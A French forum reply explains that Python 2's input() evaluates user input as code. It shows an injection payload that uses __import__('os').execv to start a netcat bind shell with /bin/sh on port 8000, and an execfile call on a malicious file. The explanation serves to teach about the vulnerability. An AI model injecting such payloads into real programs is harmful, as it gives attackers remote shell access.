Accueil

Fonction de python3 exécutée avec un interpréteur python2

Merci

  1. Bonjour Gros,

    Petite recherche Google et voici la réponse:

    La fonction input est définie différemment sous python 2.x et python 3.x.
    Sous python 2.x, la fonction input est équivalente à
    eval(raw_input(…)) et peut donc permettre l’évaluation de code arbitraire.
    Avec python3, la fonction input est équivalente à la fonction
    python2 raw_input, qui se contente de lire l’entrée standard et de
    retourner dans une chaîne de caractère le résultat lu.

    Par exemple, le code suivant est valide dans les deux versions de python:

    #!/usr/bin/env python

    pin = int(input(« PIN CODE »))
    if (pin == 1234):
    […]

    Il n’est toutefois pas possible d’exécuter directement n’importe quelle
    instruction python puisque la fonction eval n’évalue que des « expressions ».
    Cette restriction peut trivialement être contournée à l’aide de la fonction
    execfile(« /tmp/maliciouscode.py »), ou encore à l’aide d’un shell en écoute
    à l’aide de la commande
    __import__(‘os’).execv(‘/bin/nc’,[ »,’-l’, ‘-e /bin/sh’, ‘-p 8000′])

Identifiez-vous

perdu ?

Pas encore inscrit ?

Register